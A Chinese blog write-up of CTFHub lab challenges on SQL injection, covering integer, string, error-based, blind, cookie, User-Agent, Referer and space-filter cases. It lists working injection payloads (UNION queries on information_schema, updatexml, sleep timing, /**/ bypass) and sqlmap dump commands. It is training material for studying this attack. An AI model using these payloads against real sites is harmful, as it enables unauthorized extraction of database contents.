【Web】ctfhub基础知识之sql注入

最新推荐文章于 2024-08-12 20:17:27 发布
最新推荐文章于 2024-08-12 20:17:27 发布
阅读量132 收藏 1
点赞数
分类专栏： 网络安全技能Tree升级(ctf方向) # Web 文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/A_Gaming/article/details/134991575
版权

文章目录


column_name:列的名称 

Information_schema.columns:表示所有的列的信息

Information_schema:表示所有信息，包括库、表、列

Information_schema.tables:表示所有的表的信息

table_schema:数据库的名称

table_name:表的名称

原文链接：https://blog.youkuaiyun.com/qq_58784379/article/details/119046308

整数型注入

在这里插入图片描述

  1. 判断是否存在注入，输入1回显，输入2回显，输入3，无回显。思路是可以用union select和group_concat来爆他的数据。

  2. 爆字段个数，id=1 order by 1，当id =1 order by 3，发现报错，得知表格只有两个字段
    在这里插入图片描述

  3. 爆库

id=1 and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata
  1. 爆表名,两张表，（一个为news，一个为flag）
id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'sqli'

在这里插入图片描述

  1. 爆字段名
id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.colomns where table_name= 'flag'

在这里插入图片描述
列名也为flag

  1. 爆数据
id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag

在这里插入图片描述
得到flag。

字符型注入

跟上面一样

  1. 先爆字段数
1 order by 3/2/1
  1. 爆库
1' and 1=2 union select 1, group_concat(schema_name) from information_schema.schemata #

在这里插入图片描述

  1. 爆表
1' and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'sqli' #

在这里插入图片描述
同上题，news和flag表

  1. 爆字段名
1' and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'flag' #

在这里插入图片描述
同上题，也是flag字段

  1. 爆数据
1' and 1=2 union select 1, group_concat(flag) from sqli.flag #

在这里插入图片描述
得到flag

报错注入

在这里插入图片描述

  1. 爆字段个数， 一样是order by 3报错
  2. 爆库，报错注入，用updatexml函数试试
1 and updatexml(1,concat("~", (select database()), "~"), 1) #

在这里插入图片描述

  1. 爆表
    在这里插入图片描述
    多于1行，记得limit 0,1; limit 1,1
1 and updatexml(1,concat("~", (select table_name from information_schema.tables where table_schema = 'sqli' limit 1,1), "~"), 1) #

在这里插入图片描述

  1. 爆字段名
1 and updatexml(1,concat("~", (select table_name from information_schema.columns where table_name = 'flag' limit 0,1), "~"), 1) #

在这里插入图片描述

  1. 爆数据
1 and updatexml(1,concat("~", (select flag from flag limit 0,1), "~"), 1) #

在这里插入图片描述
找到flag

布尔盲注

在这里插入图片描述

  1. 爆库名长度
1 and select length(database()) = 4#

在这里插入图片描述

  1. 根据长度爆库名，穷举法
1 and substr(database(),1,1) = 'a'#    //query error
1 and substr(database(),1,1) = 's'#    //query success

1 and substr(database(),2,1) = 'q'#
1 and substr(database(),3,1) = 'l'#
1 and substr(database(),4,1) = 'i'#

在这里插入图片描述

  1. 对当前库爆表数量, 用select COUNT(*)
1 and (select COUNT(*) from information_schema.tables where table_schema=database())= 1 # //error
1 and (select COUNT(*) from information_schema.tables where table_schema=database())= 2# //success

在这里插入图片描述

  1. 对每张表爆表名长度
    注意观察limit i,1. i从0开始（第i+1张表） 
1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4#

从这开始就出了问题，本来应该是success的，但报错了，暂时找不出原因，所以改用sqlmap试试

  1. 爆库名
sqlmap -u http://www.example.com/?id=1 -current-db

在这里插入图片描述

  1. 爆表名
sqlmap -u http://www.example.com/?id=1  -D sqli -tables

爆破，仅限该题。-D 指定数据库
在这里插入图片描述

  1. 爆字段名
sqlmap -u http://www.example.com/?id=1 -D sqli -T flag -columns

在这里插入图片描述

  1. 爆数据
sqlmap -u http://www.example.com/?id=1 -D sqli -T flag -C flag -dump

在这里插入图片描述

时间盲注

在这里插入图片描述

输入1 order by 3不回显，另寻他法
常用函数：
在这里插入图片描述

  1. 判断注入点
 1 and sleep (2)#

在这里插入图片描述
两秒后才返回，说明有时间盲注

  1. 爆库长度和名字
1 and if(length(database())=4, sleep(2), null) #

在这里插入图片描述
爆名字，懒得爆了，用sqlmap
正常顺序：

1- 爆库
sqlmap -u http://challenge-18628d3dff2f86dd.sandbox.ctfhub.com:10800/?id=1 -current-db
2-爆表
sqlmap -u http://challenge-18628d3dff2f86dd.sandbox.ctfhub.com:10800/?id=1 -D sqli -tables
3-爆字段
sqlmap -u http://challenge-18628d3dff2f86dd.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -columns
4-爆数据
sqlmap -u http://challenge-18628d3dff2f86dd.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag -dump

在这里插入图片描述

Mysql结构

这题与第一题思路和步骤一样

  1. 爆字段个数
  2. 爆库
  3. 爆表名
    这里的名字有一点点不一样
    在这里插入图片描述
  4. 爆字段名字
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='ngjkojwbeb'

在这里插入图片描述
uragevcpdv

  1. 爆数据
1 and 1=2 union select 1, group_concat(uragevcpdv) from sqli.ngjkojwbeb#

在这里插入图片描述

Cookie注入

通过cookie往后台提交数据，后台取出cookie中的数据，如果直接跟数据库打交道，那么就是一个注入点
在这里插入图片描述
刷新
在这里插入图片描述
在输入框输入/?id=222，没变，说明不在输入框

抓包，毫无以为，大概率在cookie这里有输入
在这里插入图片描述
确实如此
在这里插入图片描述

接下来就是一套流程了

  1. 爆库, 有回显，不用报错注入
1 and 1=2 union select 1,database()

在这里插入图片描述

  1. 爆表名
1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'sqli'

在这里插入图片描述
hloianwzjj

  1. 爆字段名
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='hloianwzjj'

在这里插入图片描述
wxnuxmnepc

  1. 爆数据
1 and 1=2 union select 1, group_concat(wxnuxmnepc) from sqli.hloianwzjj#

在这里插入图片描述

UA注入

在这里插入图片描述

输入点在User-Agent，试试吧
在这里插入图片描述
0.爆字段个数—order by 2可以，3不行

  1. 爆库
1 and 1=2 union select 1,database()

在这里插入图片描述

  1. 爆表
1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'sqli'

在这里插入图片描述
hksyewtyar

  1. 爆字段名
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='hksyewtyar'

在这里插入图片描述
rmeeorttoy

  1. 爆数据
1 and 1=2 union select 1, group_concat(rmeeorttoy) from sqli.hksyewtyar#

在这里插入图片描述

Refer 注入

在这里插入图片描述

  1. 爆字段个数 order by 2可以, order by 3不行
  2. 爆库
1 and 1=2 union select 1, database()

在这里插入图片描述

  1. 爆表
1 and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'sqli'

在这里插入图片描述
xppwvpejzb

  1. 爆字段名
1 and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'xppwvpejzb'

在这里插入图片描述
xqzoxanwpv

  1. 爆数据
1 and 1=2 union select 1, group_concat(xqzoxanwpv) from sqli.xppwvpejzb

在这里插入图片描述

过滤空格

在这里插入图片描述
额…

大佬思路: 空格换成/**/，笔记里有提到过一嘴，我忘记在哪了–(找到了)

  1. 爆字段个数
1/**/order/**/by/**/2   #有回显
  1. 爆库
1/**/and/**/1=2/**/union/**/select/**/1,database()

在这里插入图片描述

  1. 爆表
1/**/and/**/1=2/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/'sqli'

在这里插入图片描述
kptfesiped

  1. 爆字段名
1/**/and/**/1=2/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/'kptfesiped'

在这里插入图片描述
ozllqhdtaz

  1. 爆数据
1/**/and/**/1=2/**/union/**/select/**/1,group_concat(ozllqhdtaz)/**/from/**/sqli.kptfesiped

在这里插入图片描述

综合训练 SQLI-LABS

这个是训练靶场、无 flag, 不开着先

CTFHUB之sql注入（特详解）
小宇的web博客
06-16 3089
CTFHUB之sql注入 1.整数型注入 1.这里我使用的是Hackbar来进行sql注入，首先先判断有没有注入漏洞 加单引号 去掉‘加上and 1=1发现出现了回显 将1=1变为1=2，语句正确但是无法访问数据库 这里可以判定这里存在数字注入漏洞 2.接下来判断字段数量 这里输入id=1 order by 2看是否字段数量是否是2个 3.查询SQL语句插入位置 这里使用联合查询，查询库名。可以在data库中插入sql语句，也就是2的位置 4.获取数据库库名 1）获取当前数据库库名，数据库的名称为
CTFHUB技能树SQL注入
2401_82985722的博客
03-26 1300
MySQL提供的 updatexml() 函数，当第二个参数包含特殊符号时会报错，并将第二个参数的内容显示在报错信息中。用group by(order by)判断查询列数，group by 2有回显 3无回显，证明字段数量为2列。修改2为version()，查看数据库版本，发现数据库版本为MariaDB 10.3.22。2-1回显与1一样，判断为数字型注入（不用考虑闭合符合）爆出flag数据表中的全部字段名，得到完整flag。2-1的回显界面与1不一样，判断为字符型注入。输入1时正常回显，输入1'时报错。
CTFHub:web前置技能-SQL注入-整数型注入
wdnmddbl的博客
06-08 990
路漫漫其修远兮，吾将上下而求索。本文涉及以下知识点，去引用文章学习即可：链接:我是一个知识点链接:我是一个知识点链接:我是一个知识点链接:sqlmap下载点我文章总结有我个人总结的一些知识点，希望对你有所帮助。大概思路和涉及的知识点sql注入基本语句和手工注入流程：#，–+，-- -代表后边忽略，常用与闭合思路：sql注入之数字型注入点：许多网页链接有类似的结构。
Ctfhub之SQL注入|SQL报错注入及原理详解
tempulcc的博客
10-10 1600
手工测试sql注入及原理1、SQL 整数型注入查数据库名查数据表查flag表字段2、字符型注入3、报错注入updatexml() 函数致MYSQL显错注入原理updatexml() 函数定义updatexml() 函数运行机制updatexml() 函数运行示例不报错示例构造报错利用updatexml()测试ctfhub的显错注入 1、SQL 整数型注入 查数据库名 -1 union select group_concat(schema_name),2 from information_schema.sch
CTFHUB-SQL注入-布尔盲注
weixin_68416970的博客
06-12 1066
布尔盲注是一种在SQL注入中使用的技巧，主要用于在没有明显错误信息返回的情况下，通过构造特殊的SQL语句来推测数据库信息。由于某些安全措施的存在，使得传统的SQL注入手法无法获得直接的错误信息，此时就需要使用布尔盲注来间接获取信息。这种方法主要依赖于SQL语句的布尔运算结果，通过观察页面的响应来判断所构建的SQL语句是否执行成功，从而逐步揭示数据库的结构信息。
CTFHub（web SQL注入）
2301_81105268的博客
04-18 1414
id=1这个语句在数据库中返回几列，也就是SELECT * FROM uers WHERE id=1 and 1=2 LIMIT 1,0这个语句的数据结果集有几列，然后才可以用union进行联合查询。(2)可以用concat()或concat_ws()或group_concat()—[见数据库连接语句]----使得在sql注入时快速获得数据库的相关信息。使用order by语句进行测试：1 order by 1、1 order by 2等，直到报错为止，报错的前一个数，为字段数。
CTFHub-Web--信息泄露
m0_69003772的博客
04-23 1631
CTF简介以及信息泄露下题目解题过程 文章目录 前言 一、基础知识 1.CTF简介 2.竞赛模式 2.1.理论知识 2.2.Jeopardy-解题 2.3.AwD-攻防模式 2.4.AWP-攻防增强 2.5.RHG-自动化[ AI自动化] 2.6RW-真实世界 2.7.KoH-抢占山头 2.8.Mix[混合] 3.比赛形式 3.1.线上 3.2.线下 4.题目类型 4.1.Web 4.2.Pwn 4.3.Reverse 4.4.C.
CTFHub技能树
weixin_59480274的博客
04-23 5657
文章目录一、CTF基础知识1、CTF简介2、竞赛二、使用步骤1.引入库2.读入数据总结 一、CTF基础知识 1、CTF简介 开启题目 2、竞赛 开启题目 二、使用步骤 1.引入库 代码如下（示例）： import numpy as np import pandas as pd import matplotlib.pyplot as plt import seaborn as sns import warnings warnings.filterwarnings('ignore') import ss
ctfhub web技能树
gh0stf1re的博客
08-30 696
ctfhub web技能树 前言 其实很多题之前已经做过了，但是感觉自己没有吃透吧，只是以做题为目的。所以打算重新做一下，加深一下印象，另外，把知识点也整理一下。 Web前置技能 HTTP协议 请求方式 这时我们采用的http方法是get方法，提示我们采用CTFHUB方法 方法1：利用burp更改请求方式 方法2：使用curl（curl是http神器） curl的用法指南——阮一峰 windows下有一个自带curl的终端神器——cmder，完整版还带有git，非常推荐，具体使用及配置可以参考这几篇
ctfhub技能树web基础认证
03-13
CTFHub是一个CTF（Capture The Flag）竞赛平台，提供了丰富的技能树来帮助学习者提升Web基础认证的能力。...以上是CTFHub技能树中关于Web基础认证的内容，通过学习这些知识，你可以提升自己在Web安全领域的认证技能。
ctfhub技能树mysql注入
最新发布
01-18
### CTFHub MySQL 注入技能树学习路径 #### 了解SQL注入基础概念 深入理解SQL注入的基础理论对于掌握更复杂的攻击技术至关重要。这包括但不限于如何通过应用程序向数据库发送恶意SQL命令，以及这些命令是如何被执行...
CTFHUB之sql注入
日常打一些漏洞靶机
08-12 637
这里使用联合查询，查询库名。可以在data库中插入sql语句，也就是2的位置。1.这里我使用的是Hackbar来进行sql注入，首先先判断有没有注入漏洞。这里输入id=1 order by 2看是否字段数量是否是2个。将1=1变为1=2，语句正确但是无法访问数据库。去掉‘加上and 1=1发现出现了回显。发现库名 sqli，对表名进行爆破。这里可以判定这里存在数字注入漏洞。此处直接查询flag字段的值。3.查询SQL语句插入位置。爆破出表名，对字段进行爆破。得到字段flag，进行查询。
一篇文章带你搞定SQL注入闭合方式判断（无回显）
csjjjd的博客
12-08 1283
前面已经判断出单引号是一个闭合符了，接下来就大胆加入括号），再进行判断，发现还是不行，那就再加一个括号，之后用法则判断，直接搞定，so easy！基础就不讲了，详情可以看我写的《一篇文章带你搞定SQL注入闭合方式的判断(有报错回显）》在后面加上--+，接下来如果出现真页面而不是报错，那么你的闭合方式给一定正确。这里首先先让它报错，双引号是不行的，用单引号，可以判断单引号是一个闭合符。接下来说一个如何判断自己是对的的判断法则。
CTFHub(布尔盲注 判断是否，无回显)
sGanYu
08-06 2192
盲注主要分为两种，一种为时间类型盲注，一种为布尔类型盲注 判断是否是布尔类型的：当一个界面存在注入，但是没有显示位，没有SQL语句执行错误信息，由于布尔类型的注入只会告知是或者不是，所以只能通过页面返回的对与错来进行一个SQL的注入 【 column_name:列的名称 Information_schema.columns:表示所有的列的信息 Information_schema:表示所有信息，包括库、表、列 Information_schema.tables:表示所有的表的信息 tabl
CTF中SQL注入常见题型整理
热门推荐
test
10-10 11万+
前言 正文 无过滤带回显的情况 可能使用到的工具：firefox、hackbar for firfox、sqlmap for linux 手工注入 bugku的环境 在这一环境中的主要是通过post方式传入一个参数id来查询数据库内容。 首先判断sql语句闭合方式 当在id的值后面加上'时，界面无回显，可以判断后端的sql语句应该是 select xxxx from xxxx where...
26-3 SQL注入攻击 - SQL注入无回显，盲注又被封怎么办？
weixin_43263566的博客
03-11 878
UNC路径的格式类似于。基于时间的盲注可以通过构造特定的SQL语句来判断条件是否成立，从而推测出数据库中的数据。盲注速度较慢且容易被WAF或防火墙封禁IP，因此利用DNSlog可以快速有效地获取数据，避免IP被封锁的情况。通过以上步骤，可以利用 DNSLog 平台或自行部署DNSLog来获取命令执行的回显信息，这在某些情况下可能用于安全测试或网络监控等需要的场景。需要注意的是，DNS查询过程中涉及到本地DNS服务器、根DNS服务器以及顶级域名服务器等不同级别的DNS服务器，通过逐级查询最终完成域名解析。
sql注入无回显应用情况
weixin_74182283的博客
04-08 1471
load_file为攻击的相关函数，利用concat函数将查询的version与使用的域名包含起来，其中‘\\\\’为转义字符，可以理解为转义\，输出两个\\ ，而使用\的原因也是为了模仿UNC的路径，后面那个.xxx为域名解析，而那个test则是随便输的一个文件，可以是不存在的，只是为了让查询的数据回显到dnslog上。盲注速度很慢，有时候需要一个一个字符去进行爆破，可以但不够高效，并且有时候防火墙还回去禁用ip，此时就可以考虑通过DNSLOG来快速的得到数据。站库分离（这是个作业，老师给的压缩包。
CTFHub闯关之SQL注入
m0_60716947的博客
05-01 3691
CTF（Capture The Flag）中文一般译作夺旗赛，在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会，以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。已经成为全球范围网络安全圈流行的竞赛形式，2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地，DEFCON CTF也成为了全球最高技术水平和影响力的CTF竞赛，类似于CTF赛场中的“世界杯” 。 CTFHub 地址：CTFHub CTF.
84.网络安全渗透测试—[SQL注入篇23]—[高级注入技巧-dnslog无回显注入]
qwsn
01-21 4437
我认为，无论是学习安全还是从事安全的人，多多少少都有些许的情怀和使命感！！！ 文章目录 一、高级注入技巧 dnslog无回显注入 1、原理 2、dnslog平台 3、MySQL dnslog无回显注入示例： 4、SQLSERVER dnslog无回显注入示例： 5、总结：
掌握web安全：精通SQL注入测试方法
### 知识点：Web测试之安全测试方法——SQL注入 #### 一、Web测试概述 Web测试是在软件测试过程中的一个环节，主要用于评估Web应用的安全性、性能、兼容性、可用性和内容等方面。在Web测试中，安全测试占有极其重要...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值